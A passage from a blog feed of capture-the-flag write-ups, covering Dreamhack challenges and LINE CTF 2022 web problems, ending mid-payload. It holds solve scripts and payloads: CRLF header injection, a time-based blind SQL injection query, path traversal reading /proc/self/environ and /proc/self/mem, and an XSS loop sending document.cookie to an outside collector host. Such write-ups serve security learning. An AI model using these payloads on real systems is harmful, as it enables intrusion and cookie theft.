&lt;p data-ke-size=&quot;size16&quot;&gt;아주 좋은 레퍼런스가 있다. 정말 친절하게 잘 설명해놔서 그냥 저대로 따라하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;a href=&quot;http://solve.py&quot;&gt;solve.py&lt;/a&gt;&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;nix&quot;&gt;&lt;code&gt;import requests
from bs4 import BeautifulSoup

url = &quot;http://host1.dreamhack.games:10222/list/?sort=key.urn.&quot;
key = &quot;&quot;
for k in range(9,45):
#28,23,32
    url_ = url + str(k)
    res = requests.get(url_).text
    soup = BeautifulSoup(res, &quot;html.parser&quot;)
    data = soup.select_one(&quot;table.table&quot;)
    t = soup.find_all(&quot;th&quot;,{&quot;scope&quot;:&quot;row&quot;})
    uuid = {&quot;0&quot;:[],&quot;1&quot;:[],&quot;2&quot;:[],&quot;3&quot;:[],&quot;4&quot;:[],&quot;5&quot;:[],&quot;6&quot;:[],&quot;7&quot;:[],&quot;8&quot;:[],&quot;9&quot;:[],&quot;a&quot;:[],&quot;b&quot;:[],&quot;c&quot;:[],&quot;d&quot;:[],&quot;e&quot;:[],&quot;f&quot;:[]}
    tmp = -1
    j = 0
    for i in t:
        _ = int(i.get_text())
        if tmp &amp;gt; _:
            if j == 0:
                j = 1
            elif j == 1:
                j = 2
            elif j == 2:
                j = 3
            elif j == 3:
                j = 4
            elif j == 4:
                j = 5
            elif j == 5:
                j = 6
            elif j == 6:
                j = 7
            elif j == 7:
                j = 8
            elif j == 8:
                j = 9
            elif j == 9:
                j = &quot;a&quot;
            elif j == &quot;a&quot;:
                j = &quot;b&quot;
            elif j == &quot;b&quot;:
                j = &quot;c&quot;
            elif j == &quot;c&quot;:
                j = &quot;d&quot;
            elif j == &quot;d&quot;:
                j = &quot;e&quot;
            elif j == &quot;e&quot;:
                j = &quot;f&quot;
        tmp = _
        uuid[str(j)].append(_)
        if k == 17:
            key += &quot;-&quot;
            break
        elif k == 22:
            key += &quot;-&quot;
            break
        elif k == 23:
            key += &quot;4&quot;
            break
        elif k == 27:
            key += &quot;-&quot;
            break
        elif k == 28:
            key += &quot;?&quot;
            break
        elif k == 32:
            key += &quot;-&quot;
            break
        elif _ == 1:
            key += str(j)
            break
    print(key)

print(key)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;stable한 익스를 위해 글을 300~400개 정도 등록해두고 익스플로잇을 돌리면 flag 게시글의 uuid가 나온다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;중간에 물음표가 들어간 부분은 [a-f0-9]의 범위 안에서 돌려가면서 넣어보면 된다.&lt;/p&gt;
&lt;h1&gt;M: &lt;b&gt;cheat&lt;/b&gt;&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;client 바이너리를 분석해보면 아래와 같이 움직이면 flag를 얻을 수 있을거라 추측할 수 있다.&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;11111110000001111111
10000010111001000000
10000010101001000000
10111110101001000000
10100000101001111110
10111111101000000010
11111110001111111110
00000010000000000000
11111011111101111111
10001000000000000001
11111111111101111101
00001000000000000101
11111000000000000111
10000000000000000000
11111111111111111100
11000000000000000100
11000111110000111100
11000100010111100111
11111100110100111101
11111111100111100001&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;server 바이너리를 분석해보면 1초에 최대 2칸 움직일 수 있음을 생각하며 잘 움직이면 flag를 얻을 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;a href=&quot;http://solve.py&quot;&gt;solve.py&lt;/a&gt;&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;python&quot; data-ke-language=&quot;python&quot;&gt;&lt;code&gt;from pwn import *

context.log_level = &quot;error&quot;

p = 

pos = [0, 19]
def send_pos():
    p.sendline(&quot;{} {}&quot;.format(pos[0], pos[1]))
    sleep(1)

def move(x):
    global pos

    if x == &quot;w&quot;:
      pos[0] -= 1
    elif x == &quot;a&quot;:
      pos[1] -= 1
    elif x == &quot;s&quot;:
      pos[0] += 1
    elif x == &quot;d&quot;:
      pos[1] += 1
    elif x == &quot;W&quot;:
      pos[0] -= 2
    elif x == &quot;A&quot;:
      pos[1] -= 2
    elif x == &quot;S&quot;:
      pos[0] += 2
    elif x == &quot;D&quot;:
      pos[1] += 2

    send_pos()

send_pos()

s = &quot;aaaaaassssdddddssaaaaaaaawwwwwaassssaaaaaawwddddwwwaaaaaassssssddddddssdddddDddddddssssaawwaaaaAaaaaaaaaaaawwddddsSsaaaasssssssddddddddwdwwaaaassaaaawwwwddddddddddddddddssaaasaaassdddwdddwddss&quot;
for c in s:
  move(c)

p.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;N: &lt;b&gt;Private Storage&lt;/b&gt;&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;간단한 rc4 문제다. 암호화된 플래그를 주기 때문에 고정된 키를 사용할 때 발생하는 rc4의 취약한 특징을 이용해주면 플래그를 복호화할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;https://github.com/gexxxter/RC4StaticKeyAttack&lt;/code&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마침 좋은 스크립트가 있어서 이를 수정해서 돌려보니 플래그를 얻을 수 있었다.&lt;/p&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;import sys
import base64
import zlib
import string
from pwn import *
#context.log_level=&quot;debug&quot;
p = remote(&quot;host3.dreamhack.games&quot;,15867)
def decrypt(plaintext,ciphertext,wantdecrypt):
    knownPlaintext = zlib.compress(plaintext.encode())
    knownCiphertext = ciphertext
    unknownCiphertext = wantdecrypt

    decrypted = bytearray()
    for i in range(0, len(unknownCiphertext)):
        p = knownPlaintext[i % len(knownPlaintext)]
        c1 = knownCiphertext[i % len(knownCiphertext)]
        c2 = unknownCiphertext[i] 
        decrypted.append(p ^ c1 ^ c2)

    print(zlib.decompress(decrypted))
    print(&quot;hi&quot;)
    sys.exit()

def writeFile(name,data):
    p.sendlineafter(&quot;&amp;gt;&amp;gt;&quot;,&quot;3&quot;)
    p.sendlineafter(&quot;&amp;gt;&amp;gt;&quot;,name)
    p.sendlineafter(&quot;&amp;gt;&amp;gt;&quot;,data)

def readFile(name):
    p.sendlineafter(&quot;&amp;gt;&amp;gt;&quot;,&quot;2&quot;)
    p.sendlineafter(&quot;&amp;gt;&amp;gt;&quot;,name)
    p.recvuntil(&quot;: &quot;)
    data =p.recvuntil(&quot;\n&quot;)
    return base64.b64decode(data)

enc_flag = readFile(&quot;flag.txt&quot;)
print(len(enc_flag))
for i in range(1,100):
    print(i)
    text = &quot;&quot;.join(random.choice(string.ascii_uppercase+ string.ascii_lowercase+ string.digits) for _ in range(i))
    writeFile(str(i),text)
    tmp = readFile(str(i))
    try:
        decrypt(text,tmp, enc_flag)
    except Exception as e:
        print(e)
        print(&quot;fail&quot;)
        pass&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;O: &lt;b&gt;Checkers&lt;/b&gt;&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드가 많이 복잡한 문제지만 생각보다 간단하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Encrypt 로직을 잘 보면 처음 코드가 실행된 이후엔 같은 문자열에 대해 항상 동일한 값이 나오게 되며 입력된 글자를 2~3개 단위로 잘라서 암호화한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그렇기 때문에 그냥 브포 코드 짜서 flag랑 비교하면서 돌려주면 된다.&lt;/p&gt;
&lt;pre class=&quot;python&quot; data-ke-language=&quot;python&quot;&gt;&lt;code&gt;#!/usr/bin/python3
from pwn import *
import sys
import argparse

parser = argparse.ArgumentParser()

parser.add_argument(&quot;--prefix&quot;, help=&quot;&quot;)
args = parser.parse_args()
tmp = args.prefix
string = &quot;ABCDEFGHIJKLMNOPQRSTUVWXYZ_/&quot;

p = remote(&quot;host3.dreamhack.games&quot;,15261)

p.sendlineafter(&quot;Exit\n&quot;,&quot;3&quot;)
p.recvuntil(&quot;Flag :&quot;)
enc_flag = p.recvuntil(&quot;\n&quot;)[4:][:-2].decode()
print(enc_flag)
#tmp=&quot;STRADDLING_CHECKERBiO&quot;
for i in range(0,57):
    cnt = 1
    for j in string:
        tmp_ = tmp + j
        print(tmp_)
        p.sendlineafter(&quot;Exit\n&quot;,&quot;1&quot;)
        p.sendlineafter(&quot;message\n&quot;,tmp_)
        p.recvuntil(&quot;message :&quot;)
        enc_data = p.recvuntil(&quot;\n&quot;)[:-1].decode()
        if enc_data == enc_flag[:len(enc_data)]:
            tmp += j
            cnt = 0
        else:
            continue&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;P: &lt;b&gt;farmer&lt;/b&gt;&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ext4 파일시스템 덤프가 주어진다. 다음과 같은 bash script를 실행해 mount할 수 있다.&lt;/p&gt;
&lt;pre class=&quot;bash&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;#!/bin/bash
sudo mkdir /mnt/farmer
sudo mount ./dump /mnt/farmer&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;/home/ubuntu 디렉토리에서 바이너리와 암호화된 것으로 추정되는 파일들을 확인할 수 있다.&lt;/p&gt;
&lt;pre class=&quot;bash&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;$ ls /mnt/farmer/home/ubuntu/
binary       flag.png.01  flag.png.03  flag.png.05  flag.png.07  flag.png.09
flag.png.00  flag.png.02  flag.png.04  flag.png.06  flag.png.08&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;바이너리를 분석해보면 srand(time(NULL))로 랜덤 시드를 설정하고 rand()를 사용해 나온 값으로 각종 암호화를 진행하는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;암호화된 파일들의 수정 시각을 확인해 랜덤 시드를 알아내 이를 통해 복호화를 진행할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;a href=&quot;http://solve.py&quot;&gt;solve.py&lt;/a&gt;&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;python&quot; data-ke-language=&quot;python&quot;&gt;&lt;code&gt;from ctypes import *
from Crypto.Util.Padding import unpad
import os

libc = CDLL(&quot;libc.so.6&quot;)

try:
    os.remove(&quot;flag.png&quot;)
except:
    pass

for n in range(10):
    path = &quot;/mnt/farmer/home/ubuntu/flag.png.0{}&quot;.format(n)
    libc.srand(int(os.path.getmtime(path)))
    data = list(open(path, &quot;rb&quot;).read())

    xor_key = [libc.rand() &amp;amp; 0xFF for _ in range(0x10)]

    enc_list = []

    for i in range(0x40):
        mode = libc.rand() % 3

        if mode == 0:
            list1 = list()
            list2 = list()
            sbox = {}

            for j in range(0x100):
                list1.insert(0, j)
            for j in range(0x100):
                r = libc.rand() % (256 - j)
                for _ in range(r):
                    list2.insert(0, list1.pop(0))
                v = list1.pop(0)
                for _ in range(r):
                    list1.insert(0, list2.pop(0))
                sbox[j] = v

            enc_list.append((mode, sbox))

        elif mode == 1:
            list1 = list()
            list2 = list()
            shuffle_list = list()

            for j in range(0x10):
                list1.insert(0, j)
            for j in range(0x10):
                r = libc.rand() % (16 - j)
                for _ in range(r):
                    list2.insert(0, list1.pop(0))
                v = list1.pop(0)
                for _ in range(r):
                    list1.insert(0, list2.pop(0))
                shuffle_list.append(v)

            enc_list.append((mode, shuffle_list))

        elif mode == 2:
            enc_list.append((mode, xor_key))

    for e_mode, e_arg in enc_list[::-1]:
        if e_mode == 0:
            sbox_inv = {v: k for k, v in e_arg.items()}
            for j in range(0, len(data), 16):
                for k in range(0x10):
                    data[j+k] = sbox_inv[data[j+k]]
        elif e_mode == 1:
            for j in range(0, len(data), 16):
                data_t = data[j:j+16][:]
                for k in range(0x10):
                    data[j+k] = data_t[e_arg[k]]
        elif e_mode == 2:
            for j in range(0, len(data), 16):
                for k in range(16):
                    data[j+k] ^= e_arg[k]

    with open(&quot;flag.png&quot;, &quot;ab&quot;) as f:
        f.write(unpad(bytes(data), 16))&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Q: &lt;b&gt;API Portal&lt;/b&gt;&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;flag를 얻으려면 flag/flag.php로 리퀘스트를 보내야한다. 다행히도 proxy/post.php에서 내부에서 리퀘스트를 보낼 수 있는 기능을 지원해준다.&lt;/p&gt;
&lt;pre class=&quot;php&quot;&gt;&lt;code&gt;$header = &quot;User-Agent: API Portal Proxy\r\n&quot;;
$header .= &quot;X-Forwarded-For: {$ip}\r\n&quot;;
$header .= &quot;X-Api-Referer: {$referer}&quot;;

$ctx = stream_context_create(array(
    &quot;http&quot; =&amp;gt; array(
        &quot;method&quot; =&amp;gt; &quot;POST&quot;,
        &quot;content&quot; =&amp;gt; &quot;&quot;, //TODO: implement
        &quot;header&quot; =&amp;gt; $header
    )
));&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Post data를 컨트롤 할 수 없을 것처럼 보이지만 header부분에서 crlf injection이 된다. 그걸로 post data를 적절하게 구성해준 다음 서버로 요청을 보내면 플래그를 얻을 수 있다.&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;challenge_server?action=net/proxy/post&amp;amp;url=127.0.0.1/%3faction=flag/flag&amp;amp;%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0aContent-Length:%2024%0d%0a%0d%0amode=write&amp;amp;dbkey=a&amp;amp;key=a&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위와 같이 보내면 flag를 base64 인코딩해서 내 db에 넣을 수 있고 read기능을 이용해서 flag를 읽어주면 된다.&lt;/p&gt;
&lt;h1&gt;R: &lt;b&gt;100-100&lt;/b&gt;&lt;/h1&gt;
&lt;pre class=&quot;php&quot;&gt;&lt;code&gt;&amp;lt;?php 
include &quot;tools.php&quot;;

header(&quot;Content-Security-Policy: default-src 'none'; base-uri 'none'; navigate-to 'none';&quot;);
if($_GET[&quot;extreme&quot;])
    header($_GET[&quot;extreme&quot;], false); // FYI: second &quot;false&quot; means &quot;don&quot;t override existing header&quot;

function simple_template($input) {
    $input = str_replace(&quot;{{flag}}&quot;, get_flag(), $input);
    $input = str_replace(&quot;{{hint}}&quot;, get_hint(), $input);
    $input = str_replace(&quot;{{coke}}&quot;, &quot;pepsi&quot;, $input);
    $input = str_replace(&quot;{{mintchoco}}&quot;, &quot;&amp;lt;h1&amp;gt;&amp;lt;b&amp;gt;NOT toothpaste&amp;lt;/b&amp;gt;&amp;lt;/h1&amp;gt;&quot;, $input);
    $input = str_replace(&quot;{{referer}}&quot;, htmlspecialchars($_SERVER[&quot;HTTP_REFERER&quot;]), $input);
    $input = str_replace(&quot;{{get0}}&quot;, htmlspecialchars($_GET[0]), $input);
    $input = str_replace(&quot;{{random}}&quot;, rand(100000, 999999), $input);
    return $input;
}

?&amp;gt;

&amp;lt;?= simple_template(substr($_GET[&quot;content&quot;], 0, 100)) // wow one more 100 ?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;헤더를 맘대로 컨트롤 할 수 있으며 body에 원하는 데이터를 넣을 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 csp로 인해 script를 사용할 수 없으며 outbound 연결은 막혀있다고 한다. 그럼 이제 script없이 post data를 보내야 하는데&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다행히도 csp에서 report-uri라는 것을 지원해준다. 대충 csp violation이 발생하면 지정된 url로 그것에 대한 정보를 보내는 건데 이때 post로 날라간다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 이용하면 플래그를 얻을 수 있다.&lt;/p&gt;
&lt;pre class=&quot;apache&quot;&gt;&lt;code&gt;http://host1.dreamhack.games:17712/prob.php?content=%3Cscript%3E{{flag}}%3C/script%3E&amp;amp;extreme=Content-Security-Policy:%20script-src%20%27nonce-1%27;%20report-uri:%20http://host1.dreamhack.games:17712/receiver.php?uid=a&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;S: &lt;b&gt;sleepingshark&lt;/b&gt;&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;네트워크 패킷을 분석하는 문제다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대충 패킷에 있는 http request를 읽어보면 time based blind sql injection 페이로드들이 들어있는데 flag라는 문자열이 있는 것을 통해 데이터베이스에서 추출하고 있는 데이터가 flag라는 것을 추측할 수 있다.&lt;/p&gt;
&lt;pre class=&quot;lisp&quot;&gt;&lt;code&gt;SELECT IF(ASCII(SUBSTRING((SELECT flag FROM s3cr3t LIMIT 1),35,1))=156, SLEEP(3), 0)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 플래그를 뽑는데 성공했으면 3초의 sleep이 걸릴 것이고 실패했다면 지연이 걸리지 않을 것이기 때문에 응답시간을 기준으로 플래그를 뽑으면 될 것이다.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/46442697/187882034-0d84e873-8795-4633-85af-240e3e928522.png&quot; alt=&quot;image&quot; width=&quot;496&quot; height=&quot;176&quot; /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위의 사진과 같이 시간 순으로 패킷을 정렬했을 때 3초 이상 지연이 걸린 패킷들을 발견할 수 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 해당 패킷들을 분석하여 플래그 조각을 뽑은 다음 잘 정렬해주면 플래그를 얻을 수 있다.&lt;/p&gt;
&lt;div id=&quot;gtx-trans&quot; style=&quot;position: absolute; left: 270px; top: 16581.7px;&quot;&gt;
&lt;div class=&quot;gtx-trans-icon&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;</description>
      <category>ctf writeup</category>
      <author>as3617</author>
      <guid isPermaLink="true">https://as3617.tistory.com/77</guid>
      <comments>https://as3617.tistory.com/77#entry77comment</comments>
      <pubDate>Thu, 1 Sep 2022 18:33:50 +0900</pubDate>
    </item>
    <item>
      <title>LINE CTF 2022 web writeup</title>
      <link>https://as3617.tistory.com/75</link>
      <description>&lt;h2&gt;GOTM&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;func root_handler(w http.ResponseWriter, r *http.Request) {
    token := r.Header.Get(&amp;quot;X-Token&amp;quot;)
    if token != &amp;quot;&amp;quot; {
        id, _ := jwt_decode(token)
        acc := get_account(id)
        tpl, err := template.New(&amp;quot;&amp;quot;).Parse(&amp;quot;Logged in as &amp;quot; + acc.id)
        if err != nil {
        }
        tpl.Execute(w, &amp;amp;acc)
    } else {

        return
    }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;template injection is possible using id when print a login user&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func flag_handler(w http.ResponseWriter, r *http.Request) {
    token := r.Header.Get(&amp;quot;X-Token&amp;quot;)
    if token != &amp;quot;&amp;quot; {
        id, is_admin := jwt_decode(token)
        if is_admin == true {
            p := Resp{true, &amp;quot;Hi &amp;quot; + id + &amp;quot;, flag is &amp;quot; + flag}
            res, err := json.Marshal(p)
            if err != nil {
            }
            w.Write(res)
            return
        } else {
            w.WriteHeader(http.StatusForbidden)
            return
        }
    }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In order to get the flag, attacker need to login as admin.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/46442697/160281499-48ebb2ee-eb29-4e39-a1af-227f55cbeac5.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;p&gt;already leaked secret key using ssti, so we can get the flag by forging token and login&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/46442697/160281567-2dba6945-5b1b-4b01-9899-0b8f396a760d.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;FLAG : LINECTF{country_roads_takes_me_home}&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Memo Drive&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;def view(request):
    context = {}

    try:
        context[&amp;#39;request&amp;#39;] = request
        clientId = getClientID(request.client.host)

        if &amp;#39;&amp;amp;&amp;#39; in request.url.query or &amp;#39;.&amp;#39; in request.url.query or &amp;#39;.&amp;#39; in unquote(request.query_params[clientId]):
            raise

        filename = request.query_params[clientId]
        path = &amp;#39;./memo/&amp;#39; + &amp;quot;&amp;quot;.join(request.query_params.keys()) + &amp;#39;/&amp;#39; + filename

        f = open(path, &amp;#39;r&amp;#39;)
        contents = f.readlines()
        f.close()

        context[&amp;#39;filename&amp;#39;] = filename
        context[&amp;#39;contents&amp;#39;] = contents

    except:
        pass

    return templates.TemplateResponse(&amp;#39;/view/view.html&amp;#39;, context)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;look at the part where the path is generated to read the file, there are some strange parts.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;path = &amp;#39;./memo/&amp;#39; + &amp;quot;&amp;quot;.join(request.query_params.keys()) + &amp;#39;/&amp;#39; + filename&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;sending any parameter by bypass filter, we can control the path to read the flag&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://github.com/encode/starlette/issues/1325&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;according to this issue, the semicolon included in url is recognized as &amp;amp; and parsed&lt;/p&gt;
&lt;p&gt;we can use this to bypass the filter and read the flag&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://34.146.195.115/view?e3798c5697b2a909c4af2f665982188c=flag;/%2e%2e/&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;FLAG : LINECTF{The_old_bug_on_urllib_parse_qsl_fixed}&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;online-library&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;app.get(&amp;quot;/:t/:s/:e&amp;quot;, function (req, res) {
    var s = Number(req.params.s);
    var e = Number(req.params.e);
    var t = req.params.t;
    if ((/[\x00-\x1f]|\x7f|\&amp;lt;|\&amp;gt;/).test(t)) {
        res.end(&amp;quot;Invalid character in book title.&amp;quot;);
    }
    else {
        Fs.stat(&amp;quot;public/&amp;quot;.concat(t), function (err, stats) {
            if (err) {
                res.end(&amp;quot;No such a book in bookself.&amp;quot;);
            }
            else {
                if (s !== NaN &amp;amp;&amp;amp; e !== NaN &amp;amp;&amp;amp; s &amp;lt; e) {
                    if ((e - s) &amp;gt; (1024 * 256)) {
                        res.end(&amp;quot;Too large to read.&amp;quot;);
                    }
                    else {
                        Fs.open(&amp;quot;public/&amp;quot;.concat(t), &amp;quot;r&amp;quot;, function (err, fd) {
                            if (err || typeof fd !== &amp;quot;number&amp;quot;) {
                                res.end(&amp;quot;Invalid argument.&amp;quot;);
                            }
                            else {
                                var buf = Buffer.alloc(e - s);
                                Fs.read(fd, buf, 0, (e - s), s, function (err, bytesRead, buf) {
                                    res.end(&amp;quot;&amp;lt;h1&amp;gt;&amp;quot;.concat(t, &amp;quot;&amp;lt;/h1&amp;gt;&amp;lt;hr/&amp;gt;&amp;quot;) + buf.toString(&amp;quot;utf-8&amp;quot;));
                                });
                            }
                        });
                    }
                }
                else {
                    res.end(&amp;quot;There isn&amp;#39;t size of book.&amp;quot;);
                }
            }
        });
    }
});&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;we can read /proc/self/environ content if send a request like&lt;code&gt;/..%2f..%2fproc%2fself%2fenviron/0/1024&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/46442697/160283505-d4aa8b4e-cdc1-4571-aa3c-5ec8ec587492.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;p&gt;For to get xss, we need to upload payload to the server, so i checked the process memory of node and found my request data.&lt;/p&gt;
&lt;p&gt;Now that we know that our request data is in memory, we can get the flag by sending a request with payload to the server and reporting the url to the bot.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import requests
i= 1
offset = 262144
while(True):
    url = f&amp;quot;http://35.243.100.112/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fproc%2fself%2fmem/{offset * (i-1)}/{offset *i}&amp;quot;
    res = requests.get(url)
    i=i+1
    if b&amp;quot;as3617hihi&amp;quot; in res.content:
        print(url)&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;while true;do curl &amp;#39;http://35.243.100.112/insert&amp;#39; -d &amp;quot;title=asdf&amp;amp;content=as3617hihi&amp;lt;script&amp;gt;window.location=&amp;#39;https://enllwt2ugqrt.x.pipedream.net/&amp;#39;+document.cookie&amp;lt;/script&amp;gt;&amp;quot; &amp;gt; /dev/null; done;&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;FLAG : LINECTF{705db4df0537ed5e7f8b6a2044c4b5839f4ebfa4}&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Haribote Secure Note&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;meta content=&amp;quot;default-src &amp;#39;self&amp;#39;; style-src &amp;#39;unsafe-inline&amp;#39;; object-src &amp;#39;none&amp;#39;; base-uri &amp;#39;none&amp;#39;; script-src &amp;#39;nonce-btRbWy6Oy1ZK7+ElUPbxW6JhEd0=&amp;#39;
    &amp;#39;unsafe-inline&amp;#39;; require-trusted-types-for &amp;#39;script&amp;#39;; trusted-types default&amp;quot;
          http-equiv=&amp;quot;Content-Security-Policy&amp;quot;&amp;gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Since csp is applied and new nonce is issued for each request, we need to use the tag that already has nonce applied.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{% if current_user.is_admin %}
        &amp;lt;section id=&amp;quot;sharedUserInfo&amp;quot;&amp;gt;
            &amp;lt;button id=&amp;quot;printInfoBtn&amp;quot; type=&amp;quot;button&amp;quot; class=&amp;quot;btn btn-sm btn-outline-secondary btn-block&amp;quot;&amp;gt;  Check shared
                user information
            &amp;lt;/button&amp;gt;
        &amp;lt;/section&amp;gt;
        &amp;lt;script nonce=&amp;quot;{{ csp_nonce }}&amp;quot;&amp;gt;
            const printInfo = () =&amp;gt; {
                const sharedUserId = &amp;quot;{{ shared_user_id }}&amp;quot;;
                const sharedUserName = &amp;quot;{{ shared_user_name }}&amp;quot;;

                const div = document.createElement(&amp;#39;div&amp;#39;);
                div.classList.add(&amp;#39;alert&amp;#39;)
                div.classList.add(&amp;#39;alert-warning&amp;#39;)
                div.innerHTML = [
                    `[debug:${new Date().toISOString()}]`,
                    `UserId=&amp;quot;${sharedUserId}&amp;quot;`,
                    `DisplayName=&amp;quot;${sharedUserName}&amp;quot;`
                ].join(&amp;#39; &amp;#39;);
                const sharedUserInfo = document.getElementById(&amp;#39;sharedUserInfo&amp;#39;);
                sharedUserInfo.replaceChildren(div);
            }

            const printInfoBtn = document.getElementById(&amp;#39;printInfoBtn&amp;#39;);
            printInfoBtn.addEventListener(&amp;#39;click&amp;#39;, printInfo);
        &amp;lt;/script&amp;gt;
    {% endif %}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;we can inject 16 bytes of shared_user_name in the admin page.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    &amp;lt;script nonce=&amp;quot;{{ csp_nonce }}&amp;quot;&amp;gt;
        const render = notes =&amp;gt; {
            const noteArea = document.getElementById(&amp;quot;notes&amp;quot;);

            notes.sort((a, b) =&amp;gt; Date.parse(a.createdAt) - Date.parse(b.createdAt));
            for (const note of notes) {
                const noteDiv = document.createElement(&amp;quot;div&amp;quot;);
                noteDiv.classList.add(&amp;quot;p-2&amp;quot;)
                noteDiv.classList.add(&amp;quot;bg-light&amp;quot;)
                noteDiv.classList.add(&amp;quot;border&amp;quot;)

                const title = document.createElement(&amp;quot;h2&amp;quot;);
                title.innerHTML = note.title;
                noteDiv.appendChild(title);

                const content = document.createElement(&amp;quot;p&amp;quot;);
                content.innerHTML = note.content;
                noteDiv.appendChild(content);

                const createdAt = document.createElement(&amp;quot;time&amp;quot;);
                createdAt.innerHTML = `Created at: ${note.createdAt}`;
                noteDiv.appendChild(createdAt)

                noteArea.appendChild(noteDiv);
            }
        };
        render({{ notes }})
    &amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;second, data in notes is not escape, so we can use it to inject data into the script tag.&lt;/p&gt;
&lt;p&gt;After that, I found an interesting post.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://www.hahwul.com/2019/07/08/xss-payload-for-escaping-string-in/&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/46442697/160284340-cde74c67-35c4-4fb6-b2f4-397d30134a47.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;p&gt;I can get the flag using the following payload.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Displayname: &amp;lt;!--&amp;lt;script/&amp;quot;/*
